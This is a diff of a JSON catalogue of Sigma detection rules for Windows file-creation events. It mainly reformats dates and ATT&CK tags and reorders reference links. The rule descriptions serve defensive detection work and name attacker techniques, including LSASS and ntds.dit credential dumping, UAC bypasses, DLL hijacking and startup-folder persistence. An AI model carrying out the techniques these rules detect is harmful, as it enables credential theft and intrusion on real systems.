-10351,7 +10387,7 @@ "description": "Detects a suspicious Microsoft desktopimgdownldr file creation that stores a file to a suspicious location or contains a file with a suspicious extension", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2020/07/03", + "creation_date": "2020-07-03", "falsepositive": [ "False positives depend on scripts and administrative tools used in the monitored environment" ], @@ -10365,7 +10401,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_desktopimgdownldr_file.yml" ], "tags": [ - "attack.command_and_control", + "attack.command-and-control", "attack.t1105" ] }, @@ -10385,7 +10421,7 @@ "description": "TeamViewer_Desktop.exe is create during install", "meta": { "author": "frack113", - "creation_date": "2022/01/28", + "creation_date": "2022-01-28", "falsepositive": [ "Unknown" ], @@ -10398,7 +10434,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_install_teamviewer_desktop.yml" ], "tags": [ - "attack.command_and_control", + "attack.command-and-control", "attack.t1219" ] }, @@ -10418,7 +10454,7 @@ "description": "Detects default lsass dump filename generated by SafetyKatz.", "meta": { "author": "Markus Neis", - "creation_date": "2018/07/24", + "creation_date": "2018-07-24", "falsepositive": [ "Rare legitimate files with similar filename structure" ], @@ -10427,12 +10463,12 @@ "logsource.category": "file_event", "logsource.product": "windows", "refs": [ - "https://github.com/GhostPack/SafetyKatz", "https://github.com/GhostPack/SafetyKatz/blob/715b311f76eb3a4c8d00a1bd29c6cd1899e450b7/SafetyKatz/Program.cs#L63", + "https://github.com/GhostPack/SafetyKatz", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_hktl_safetykatz.yml" ], "tags": [ - "attack.credential_access", + "attack.credential-access", "attack.t1003.001" ] }, @@ -10452,7 +10488,7 @@ "description": "Detects Rclone config file being created", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/04/18", + "creation_date": "2023-04-18", "falsepositive": [ "Unknown" ], @@ -10461,12 +10497,12 @@ "logsource.category": "file_event", "logsource.product": "windows", "refs": [ - "https://blog.thickmints.dev/mintsights/detecting-rogue-rdp/", + "https://web.archive.org/web/20230726144748/https://blog.thickmints.dev/mintsights/detecting-rogue-rdp/", "https://www.blackhillsinfosec.com/rogue-rdp-revisiting-initial-access-methods/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_rdp_file_susp_creation.yml" ], "tags": [ - "attack.defense_evasion" + "attack.defense-evasion" ] }, "uuid": "fccfb43e-09a7-4bd2-8b37-a5a7df33386d", @@ -10476,7 +10512,7 @@ "description": "Detects the pattern of UAC Bypass using Windows Media Player osksupport.dll (UACMe 32)", "meta": { "author": "Christian Burkard (Nextron Systems)", - "creation_date": "2021/08/23", + "creation_date": "2021-08-23", "falsepositive": [ "Unknown" ], @@ -10489,8 +10525,8 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_uac_bypass_wmp.yml" ], "tags": [ - "attack.defense_evasion", - "attack.privilege_escalation", + "attack.defense-evasion", + "attack.privilege-escalation", "attack.t1548.002" ] }, @@ -10510,7 +10546,7 @@ "description": "Detects the creation of files that indicator an interactive use of PowerShell in the SYSTEM user context", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2021/12/07", + "creation_date": "2021-12-07", "falsepositive": [ "Administrative activity", "PowerShell scripts running as SYSTEM user" @@ -10544,7 +10580,7 @@ "description": "Detects programs on a Windows system that should not write an archive to disk", "meta": { "author": "frack113, Florian Roth", - "creation_date": "2022/08/21", + "creation_date": "2022-08-21", "falsepositive": [ "Unknown" ], @@ -10557,7 +10593,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_legitimate_app_dropping_archive.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1218" ] }, @@ -10577,7 +10613,7 @@ "description": "Detects the creation of a new PowerShell module \".psm1\", \".psd1\", \".dll\", \".ps1\", etc.", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/05/09", + "creation_date": "2023-05-09", "falsepositive": [ "Likely" ], @@ -10601,7 +10637,7 @@ "description": "Detects the pattern of UAC Bypass using a path parsing issue in winsat.exe (UACMe 52)", "meta": { "author": "Christian Burkard (Nextron Systems)", - "creation_date": "2021/08/30", + "creation_date": "2021-08-30", "falsepositive": [ "Unknown" ], @@ -10614,8 +10650,8 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_uac_bypass_winsat.yml" ], "tags": [ - "attack.defense_evasion", - "attack.privilege_escalation", + "attack.defense-evasion", + "attack.privilege-escalation", "attack.t1548.002" ] }, @@ -10635,7 +10671,7 @@ "description": "Detects suspicious file type dropped by an Exchange component in IIS into a suspicious folder", "meta": { "author": "Florian Roth (Nextron Systems), MSTI (query, idea)", - "creation_date": "2022/10/01", + "creation_date": "2022-10-01", "falsepositive": [ "Unknown" ], @@ -10644,8 +10680,8 @@ "logsource.category": "file_event", "logsource.product": "windows", "refs": [ - "https://en.gteltsc.vn/blog/cap-nhat-nhe-ve-lo-hong-bao-mat-0day-microsoft-exchange-dang-duoc-su-dung-de-tan-cong-cac-to-chuc-tai-viet-nam-9685.html", "https://www.microsoft.com/security/blog/2022/09/30/analyzing-attacks-using-the-exchange-vulnerabilities-cve-2022-41040-and-cve-2022-41082/", + "https://en.gteltsc.vn/blog/cap-nhat-nhe-ve-lo-hong-bao-mat-0day-microsoft-exchange-dang-duoc-su-dung-de-tan-cong-cac-to-chuc-tai-viet-nam-9685.html", "https://www.gteltsc.vn/blog/canh-bao-chien-dich-tan-cong-su-dung-lo-hong-zero-day-tren-microsoft-exchange-server-12714.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_exchange_webshell_drop.yml" ], @@ -10670,7 +10706,7 @@ "description": "Detects the creation of Self Extraction Directive files (.sed) in a potentially suspicious location.\nThese files are used by the \"iexpress.exe\" utility in order to create self extracting packages.\nAttackers were seen abusing this utility and creating PE files with embedded \".sed\" entries.\n", "meta": { "author": "Joseliyo Sanchez, @Joseliyo_Jstnk", - "creation_date": "2024/02/05", + "creation_date": "2024-02-05", "falsepositive": [ "Unknown" ], @@ -10679,13 +10715,13 @@ "logsource.category": "file_event", "logsource.product": "windows", "refs": [ - "https://www.virustotal.com/gui/file/602f4ae507fa8de57ada079adff25a6c2a899bd25cd092d0af7e62cdb619c93c/behavior", "https://en.wikipedia.org/wiki/IExpress", + "https://www.virustotal.com/gui/file/602f4ae507fa8de57ada079adff25a6c2a899bd25cd092d0af7e62cdb619c93c/behavior", "https://strontic.github.io/xcyclopedia/library/iexpress.exe-D594B2A33EFAFD0EABF09E3FDC05FCEA.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_sed_file_creation.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1218" ] }, @@ -10705,7 +10741,7 @@ "description": "Detects the creation of the PROCEXP152.sys file in the application-data local temporary folder.\nThis driver is used by Sysinternals Process Explorer but also by KDU (https://github.com/hfiref0x/KDU) or Ghost-In-The-Logs (https://github.com/bats3c/Ghost-In-The-Logs), which uses KDU.\n", "meta": { "author": "xknow (@xknow_infosec), xorxes (@xor_xes)", - "creation_date": "2019/04/08", + "creation_date": "2019-04-08", "falsepositive": [ "Other legimate tools using this driver and filename (like Sysinternals). Note - Clever attackers may easily bypass this detection by just renaming the driver filename. Therefore just Medium-level and don't rely on it." ], @@ -10714,12 +10750,12 @@ "logsource.category": "file_event", "logsource.product": "windows", "refs": [ - "https://blog.dylan.codes/evading-sysmon-and-windows-event-logging/", + "https://web.archive.org/web/20230331181619/https://blog.dylan.codes/evading-sysmon-and-windows-event-logging/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_procexplorer_driver_created_in_tmp_folder.yml" ], "tags": [ "attack.t1562.001", - "attack.defense_evasion" + "attack.defense-evasion" ] }, "related": [ @@ -10738,7 +10774,7 @@ "description": "Detects AnyDesk writing binary files to disk other than \"gcapi.dll\".\nAccording to RedCanary research it is highly abnormal for AnyDesk to write executable files to disk besides gcapi.dll,\nwhich is a legitimate DLL that is part of the Google Chrome web browser used to interact with the Google Cloud API. (See reference section for more details)\n", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/09/28", + "creation_date": "2022-09-28", "falsepositive": [ "Unknown" ], @@ -10751,7 +10787,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_anydesk_writing_susp_binaries.yml" ], "tags": [ - "attack.command_and_control", + "attack.command-and-control", "attack.t1219" ] }, @@ -10771,7 +10807,7 @@ "description": "Detects the creation of binaries in the WinSxS folder by non-system processes", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/05/11", + "creation_date": "2023-05-11", "falsepositive": [ "Unknown" ], @@ -10794,7 +10830,7 @@ "description": "Detects the creation of suspicious files and folders inside the user's AppData folder but not inside any of the common and well known directories (Local, Romaing, LocalLow). This method could be used as a method to bypass detection who exclude the AppData folder in fear of FPs", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/08/05", + "creation_date": "2022-08-05", "falsepositive": [ "Unlikely" ], @@ -10807,7 +10843,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_new_files_in_uncommon_appdata_folder.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.execution" ] }, @@ -10818,7 +10854,7 @@ "description": "Detects when an attacker create a similar folder structure to windows system folders such as (Windows, Program Files...)\nbut with a space in order to trick DLL load search order and perform a \"DLL Search Order Hijacking\" attack\n", "meta": { "author": "frack113, Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/07/30", + "creation_date": "2022-07-30", "falsepositive": [ "Unknown" ], @@ -10833,8 +10869,8 @@ ], "tags": [ "attack.persistence", - "attack.privilege_escalation", - "attack.defense_evasion", + "attack.privilege-escalation", + "attack.defense-evasion", "attack.t1574.002" ] }, @@ -10854,7 +10890,7 @@ "description": "Detects the use of Advanced IP Scanner. Seems to be a popular tool for ransomware groups.", "meta": { "author": "@ROxPinTeddy", - "creation_date": "2020/05/12", + "creation_date": "2020-05-12", "falsepositive": [ "Legitimate administrative use" ], @@ -10863,11 +10899,11 @@ "logsource.category": "file_event", "logsource.product": "windows", "refs": [ + "https://labs.f-secure.com/blog/prelude-to-ransomware-systembc", "https://www.fireeye.com/blog/threat-research/2020/05/tactics-techniques-procedures-associated-with-maze-ransomware-incidents.html", - "https://thedfirreport.com/2021/01/18/all-that-for-a-coinminer", "https://assets.documentcloud.org/documents/20444693/fbi-pin-egregor-ransomware-bc-01062021.pdf", + "https://thedfirreport.com/2021/01/18/all-that-for-a-coinminer", "https://news.sophos.com/en-us/2019/12/09/snatch-ransomware-reboots-pcs-into-safe-mode-to-bypass-protection/", - "https://labs.f-secure.com/blog/prelude-to-ransomware-systembc", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_advanced_ip_scanner.yml" ], "tags": [ @@ -10891,7 +10927,7 @@ "description": "Detects creation of \".vhd\"/\".vhdx\" files by browser processes.\nMalware can use mountable Virtual Hard Disk \".vhd\" files to encapsulate payloads and evade security controls.\n", "meta": { "author": "frack113, Christopher Peacock '@securepeacock', SCYTHE '@scythe_io'", - "creation_date": "2021/10/25", + "creation_date": "2021-10-25", "falsepositive": [ "Legitimate downloads of \".vhd\" files would also trigger this" ], @@ -10906,7 +10942,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_vhd_download_via_browsers.yml" ], "tags": [ - "attack.resource_development", + "attack.resource-development", "attack.t1587.001" ] }, @@ -10926,7 +10962,7 @@ "description": "Detects the creation of a file that has the same name as the default LiveKD kernel memory dump.", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/05/16", + "creation_date": "2023-05-16", "falsepositive": [ "In rare occasions administrators might leverage LiveKD to perform live kernel debugging. This should not be allowed on production systems. Investigate and apply additional filters where necessary." ], @@ -10939,8 +10975,8 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_sysinternals_livekd_default_dump_name.yml" ], "tags": [ - "attack.defense_evasion", - "attack.privilege_escalation" + "attack.defense-evasion", + "attack.privilege-escalation" ] }, "uuid": "814ddeca-3d31-4265-8e07-8cc54fb44903", @@ -10950,7 +10986,7 @@ "description": "Adversaries may establish persistence by executing malicious content triggered by user inactivity.\nScreensavers are programs that execute after a configurable time of user inactivity and consist of Portable Executable (PE) files with a .scr file extension\n", "meta": { "author": "frack113", - "creation_date": "2021/12/29", + "creation_date": "2021-12-29", "falsepositive": [ "Unknown" ], @@ -10983,7 +11019,7 @@ "description": "Detects the creation of diagcab file, which could be caused by some legitimate installer or is a sign of exploitation (review the filename and its location)", "meta": { "author": "frack113", - "creation_date": "2022/06/08", + "creation_date": "2022-06-08", "falsepositive": [ "Legitimate microsoft diagcab" ], @@ -10996,7 +11032,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_diagcab.yml" ], "tags": [ - "attack.resource_development" + "attack.resource-development" ] }, "uuid": "3d0ed417-3d94-4963-a562-4a92c940656a", @@ -11006,7 +11042,7 @@ "description": "Detects creation of files which are the results of executing the built-in reconnaissance script \"C:\\Windows\\System32\\gatherNetworkInfo.vbs\".", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/02/08", + "creation_date": "2023-02-08", "falsepositive": [ "Unknown" ], @@ -11030,7 +11066,7 @@ "description": "Detects default RemCom service filename which indicates RemCom service installation and execution", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/08/04", + "creation_date": "2023-08-04", "falsepositive": [ "Unknown" ], @@ -11064,7 +11100,7 @@ "description": "An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks.\nThese services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment.\nRemote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land)\n", "meta": { "author": "frack113", - "creation_date": "2022/02/11", + "creation_date": "2022-02-11", "falsepositive": [ "Legitimate use" ], @@ -11077,7 +11113,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_anydesk_artefact.yml" ], "tags": [ - "attack.command_and_control", + "attack.command-and-control", "attack.t1219" ] }, @@ -11097,7 +11133,7 @@ "description": "Once executed, colorcpl.exe will copy the arbitrary file to c:\\windows\\system32\\spool\\drivers\\color\\", "meta": { "author": "frack113", - "creation_date": "2022/01/21", + "creation_date": "2022-01-21", "falsepositive": [ "Unknown" ], @@ -11110,7 +11146,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_colorcpl.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1564" ] }, @@ -11130,7 +11166,7 @@ "description": "Detects the creation of file with specific names used by RemoteKrbRelay SMB Relay attack module.", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2024/06/27", + "creation_date": "2024-06-27", "falsepositive": [ "Unlikely" ], @@ -11143,7 +11179,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_hktl_krbrelay_remote_ioc.yml" ], "tags": [ - "attack.command_and_control", + "attack.command-and-control", "attack.t1219" ] }, @@ -11163,7 +11199,7 @@ "description": "Detects creation of the Process Monitor driver by processes other than Process Monitor (procmon) itself.", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/05/05", + "creation_date": "2023-05-05", "falsepositive": [ "Some false positives may occur with legitimate renamed process monitor binaries" ], @@ -11177,7 +11213,7 @@ ], "tags": [ "attack.persistence", - "attack.privilege_escalation", + "attack.privilege-escalation", "attack.t1068" ] }, @@ -11197,7 +11233,7 @@ "description": "Detects creation of Microsoft Office files inside of one of the default startup folders in order to achieve persistence.", "meta": { "author": "Max Altgelt (Nextron Systems), Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/06/02", + "creation_date": "2022-06-02", "falsepositive": [ "Loading a user environment from a backup or a domain controller", "Synchronization of templates" @@ -11232,7 +11268,7 @@ "description": "Detects creation of the Process Explorer drivers by processes other than Process Explorer (procexp) itself.\nHack tools or malware may use the Process Explorer driver to elevate privileges, drops it to disk for a few moments, runs a service using that driver and removes it afterwards.\n", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2023/05/05", + "creation_date": "2023-05-05", "falsepositive": [ "Some false positives may occur with legitimate renamed process explorer binaries" ], @@ -11241,15 +11277,15 @@ "logsource.category": "file_event", "logsource.product": "windows", "refs": [ - "https://www.elastic.co/security-labs/stopping-vulnerable-driver-attacks", - "https://learn.microsoft.com/en-us/sysinternals/downloads/process-explorer", "https://github.com/Yaxser/Backstab", + "https://learn.microsoft.com/en-us/sysinternals/downloads/process-explorer", + "https://www.elastic.co/security-labs/stopping-vulnerable-driver-attacks", "https://news.sophos.com/en-us/2023/04/19/aukill-edr-killer-malware-abuses-process-explorer-driver/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_sysinternals_procexp_driver_susp_creation.yml" ], "tags": [ "attack.persistence", - "attack.privilege_escalation", + "attack.privilege-escalation", "attack.t1068" ] }, @@ -11269,7 +11305,7 @@ "description": "Detects WerFault copoed to a suspicious folder, which could be a sign of WerFault DLL hijacking", "meta": { "author": "frack113", - "creation_date": "2022/05/09", + "creation_date": "2022-05-09", "falsepositive": [ "Unknown" ], @@ -11283,7 +11319,7 @@ ], "tags": [ "attack.persistence", - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1574.001" ] }, @@ -11303,7 +11339,7 @@ "description": "Detects file writes of WMI script event consumer", "meta": { "author": "Thomas Patzke", - "creation_date": "2018/03/07", + "creation_date": "2018-03-07", "falsepositive": [ "Dell Power Manager (C:\\Program Files\\Dell\\PowerManager\\DpmPowerPlanSetup.exe)" ], @@ -11336,7 +11372,7 @@ "description": "Detects when a file with a suspicious extension is created in the startup folder", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/08/10", + "creation_date": "2022-08-10", "falsepositive": [ "Rare legitimate usage of some of the extensions mentioned in the rule" ], @@ -11369,7 +11405,7 @@ "description": "A General detection for files being created in the Windows startup directory. This could be an indicator of persistence.", "meta": { "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", - "creation_date": "2020/05/02", + "creation_date": "2020-05-02", "falsepositive": [ "FP could be caused by legitimate application writing shortcuts for example. This folder should always be inspected to make sure that all the files in there are legitimate" ], @@ -11378,8 +11414,8 @@ "logsource.category": "file_event", "logsource.product": "windows", "refs": [ - "https://github.com/OTRF/ThreatHunter-Playbook/blob/2d4257f630f4c9770f78d0c1df059f891ffc3fec/docs/evals/apt29/detections/5.B.1_611FCA99-97D0-4873-9E51-1C1BA2DBB40D.md", "https://github.com/OTRF/detection-hackathon-apt29/issues/12", + "https://github.com/OTRF/ThreatHunter-Playbook/blob/2d4257f630f4c9770f78d0c1df059f891ffc3fec/docs/evals/apt29/detections/5.B.1_611FCA99-97D0-4873-9E51-1C1BA2DBB40D.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_startup_folder_file_write.yml" ], "tags": [ @@ -11403,7 +11439,7 @@ "description": "Detects default PsExec service filename which indicates PsExec service installation and execution", "meta": { "author": "Thomas Patzke", - "creation_date": "2017/06/12", + "creation_date": "2017-06-12", "falsepositive": [ "Unknown" ], @@ -11412,8 +11448,8 @@ "logsource.category": "file_event", "logsource.product": "windows", "refs": [ - "https://jpcertcc.github.io/ToolAnalysisResultSheet", "https://www.jpcert.or.jp/english/pub/sr/ir_research.html", + "https://jpcertcc.github.io/ToolAnalysisResultSheet", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_sysinternals_psexec_service.yml" ], "tags": [ @@ -11438,7 +11474,7 @@ "description": "Detects potential persistence activity via startup add-ins that load when Microsoft Office starts (.wll/.xll are simply .dll fit for Word or Excel).", "meta": { "author": "NVISO", - "creation_date": "2020/05/11", + "creation_date": "2020-05-11", "falsepositive": [ "Legitimate add-ins" ], @@ -11447,8 +11483,8 @@ "logsource.category": "file_event", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/4ae9580a1a8772db87a1b6cdb0d03e5af231e966/atomics/T1137.006/T1137.006.md", "https://labs.withsecure.com/publications/add-in-opportunities-for-office-persistence", + "https://github.com/redcanaryco/atomic-red-team/blob/4ae9580a1a8772db87a1b6cdb0d03e5af231e966/atomics/T1137.006/T1137.006.md", "Internal Research", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_office_addin_persistence.yml" ], @@ -11473,7 +11509,7 @@ "description": "Detects creation of files with the \".one\"/\".onepkg\" extension in suspicious or uncommon locations. This could be a sign of attackers abusing OneNote attachments", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/01/22", + "creation_date": "2023-01-22", "falsepositive": [ "Legitimate usage of \".one\" or \".onepkg\" files from those locations" ], @@ -11482,12 +11518,12 @@ "logsource.category": "file_event", "logsource.product": "windows", "refs": [ - "https://blog.osarmor.com/319/onenote-attachment-delivers-asyncrat-malware/", "https://www.bleepingcomputer.com/news/security/hackers-now-use-microsoft-onenote-attachments-to-spread-malware/", + "https://blog.osarmor.com/319/onenote-attachment-delivers-asyncrat-malware/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_office_onenote_files_in_susp_locations.yml" ], "tags": [ - "attack.defense_evasion" + "attack.defense-evasion" ] }, "uuid": "7fd164ba-126a-4d9c-9392-0d4f7c243df0", @@ -11497,7 +11533,7 @@ "description": "Detects the creation of Usage Log files by the CLR (clr.dll). These files are named after the executing process once the assembly is finished executing for the first time in the (user) session context.", "meta": { "author": "frack113, omkar72, oscd.community, Wojciech Lesicki", - "creation_date": "2022/11/18", + "creation_date": "2022-11-18", "falsepositive": [ "Rundll32.exe with zzzzInvokeManagedCustomActionOutOfProc in command line and msiexec.exe as parent process - https://twitter.com/SBousseaden/status/1388064061087260675" ], @@ -11506,14 +11542,14 @@ "logsource.category": "file_event", "logsource.product": "windows", "refs": [ - "https://blog.menasec.net/2019/07/interesting-difr-traces-of-net-clr.html", - "https://web.archive.org/web/20221026202428/https://gist.github.com/code-scrap/d7f152ffcdb3e0b02f7f394f5187f008", + "https://web.archive.org/web/20230329154538/https://blog.menasec.net/2019/07/interesting-difr-traces-of-net-clr.html", "https://github.com/olafhartong/sysmon-modular/blob/fa1ae53132403d262be2bbd7f17ceea7e15e8c78/11_file_create/include_dotnet.xml", "https://bohops.com/2021/03/16/investigating-net-clr-usage-log-tampering-techniques-for-edr-evasion/", + "https://web.archive.org/web/20221026202428/https://gist.github.com/code-scrap/d7f152ffcdb3e0b02f7f394f5187f008", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_net_cli_artefact.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1218" ] }, @@ -11533,7 +11569,7 @@ "description": "Detects creation of a file named \"ntds.dit\" (Active Directory Database)", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/05/05", + "creation_date": "2023-05-05", "falsepositive": [ "Unknown" ], @@ -11546,7 +11582,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_ntds_dit_creation.yml" ], "tags": [ - "attack.credential_access", + "attack.credential-access", "attack.t1003.003" ] }, @@ -11566,7 +11602,7 @@ "description": "Detects the creation of the \"PSScriptPolicyTest\" PowerShell script by an uncommon process. This file is usually generated by Microsoft Powershell to test against Applocker.", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/06/01", + "creation_date": "2023-06-01", "falsepositive": [ "Unknown" ], @@ -11579,7 +11615,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_ps_script_policy_test_creation_by_uncommon_process.yml" ], "tags": [ - "attack.defense_evasion" + "attack.defense-evasion" ] }, "uuid": "1027d292-dd87-4a1a-8701-2abe04d7783c", @@ -11589,7 +11625,7 @@ "description": "Detects files dropped by Winnti as described in RedMimicry Winnti playbook", "meta": { "author": "Alexander Rausch", - "creation_date": "2020/06/24", + "creation_date": "2020-06-24", "falsepositive": [ "Unknown" ], @@ -11602,7 +11638,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_redmimicry_winnti_filedrop.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1027" ] }, @@ -11622,7 +11658,7 @@ "description": "Detects creation of a file named \"wpbbin\" in the \"%systemroot%\\system32\\\" directory. Which could be indicative of UEFI based persistence method", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/07/18", + "creation_date": "2022-07-18", "falsepositive": [ "Legitimate usage of the file by hardware manufacturer such as lenovo (Thanks @0gtweet for the tip)" ], @@ -11631,13 +11667,13 @@ "logsource.category": "file_event", "logsource.product": "windows", "refs": [ - "https://persistence-info.github.io/Data/wpbbin.html", "https://grzegorztworek.medium.com/using-uefi-to-inject-executable-files-into-bitlocker-protected-drives-8ff4ca59c94c", + "https://persistence-info.github.io/Data/wpbbin.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_wpbbin_persistence.yml" ], "tags": [ "attack.persistence", - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1542.001" ] }, @@ -11657,7 +11693,7 @@ "description": "Detects the creation of a file with the \".pdf\" extension by the \"RegEdit.exe\" process.\nThis indicates that a user is trying to print/save a registry key as a PDF in order to potentially extract sensitive information and bypass defenses.\n", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2024/07/08", + "creation_date": "2024-07-08", "falsepositive": [ "Unlikely" ], @@ -11670,7 +11706,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_regedit_print_as_pdf.yml" ], "tags": [ - "attack.defense_evasion" + "attack.defense-evasion" ] }, "uuid": "145095eb-e273-443b-83d0-f9b519b7867b", @@ -11680,7 +11716,7 @@ "description": "Detects the creation of a new PowerShell module \".psm1\", \".psd1\", \".dll\", \".ps1\", etc. by a non-PowerShell process", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/05/09", + "creation_date": "2023-05-09", "falsepositive": [ "Unknown" ], @@ -11704,7 +11740,7 @@ "description": "Detects processes creating temp files related to PCRE.NET package", "meta": { "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", - "creation_date": "2020/10/29", + "creation_date": "2020-10-29", "falsepositive": [ "Unknown" ], @@ -11713,8 +11749,8 @@ "logsource.category": "file_event", "logsource.product": "windows", "refs": [ - "https://twitter.com/tifkin_/status/1321916444557365248", "https://twitter.com/rbmaslen/status/1321859647091970051", + "https://twitter.com/tifkin_/status/1321916444557365248", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_pcre_net_temp_file.yml" ], "tags": [ @@ -11738,7 +11774,7 @@ "description": "Detects potential DLL hijack of \"iertutil.dll\" found in the DCOM InternetExplorer.Application Class over the network", "meta": { "author": "Roberto Rodriguez @Cyb3rWard0g, Open Threat Research (OTR), wagga", - "creation_date": "2020/10/12", + "creation_date": "2020-10-12", "falsepositive": [ "Unknown" ], @@ -11751,7 +11787,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_dcom_iertutil_dll_hijack.yml" ], "tags": [ - "attack.lateral_movement", + "attack.lateral-movement", "attack.t1021.002", "attack.t1021.003" ] @@ -11779,15 +11815,15 @@ "description": "Detects javaw.exe in AppData folder as used by Adwind / JRAT", "meta": { "author": "Florian Roth (Nextron Systems), Tom Ueltschi, Jonhnathan Ribeiro, oscd.community", - "creation_date": "2017/11/10", + "creation_date": "2017-11-10", "falsepositive": "No established falsepositives", "filename": "file_event_win_mal_adwind.yml", "level": "high", "logsource.category": "file_event", "logsource.product": "windows", "refs": [ - "https://www.hybrid-analysis.com/sample/ba86fa0d4b6af2db0656a88b1dd29f36fe362473ae8ad04255c4e52f214a541c?environmentId=100", "https://www.first.org/resources/papers/conf2017/Advanced-Incident-Detection-and-Threat-Hunting-using-Sysmon-and-Splunk.pdf", + "https://www.hybrid-analysis.com/sample/ba86fa0d4b6af2db0656a88b1dd29f36fe362473ae8ad04255c4e52f214a541c?environmentId=100", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_mal_adwind.yml" ], "tags": [ @@ -11819,7 +11855,7 @@ "description": "Detects the creation of log files during a TeamViewer remote session", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2022/01/30", + "creation_date": "2022-01-30", "falsepositive": [ "Legitimate uses of TeamViewer in an organisation" ], @@ -11832,7 +11868,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_teamviewer_remote_session.yml" ], "tags": [ - "attack.command_and_control", + "attack.command-and-control", "attack.t1219" ] }, @@ -11852,7 +11888,7 @@ "description": "Detects creation of a malicious DLL file in the location where the OneDrive or Team applications\nUpon execution of the Teams or 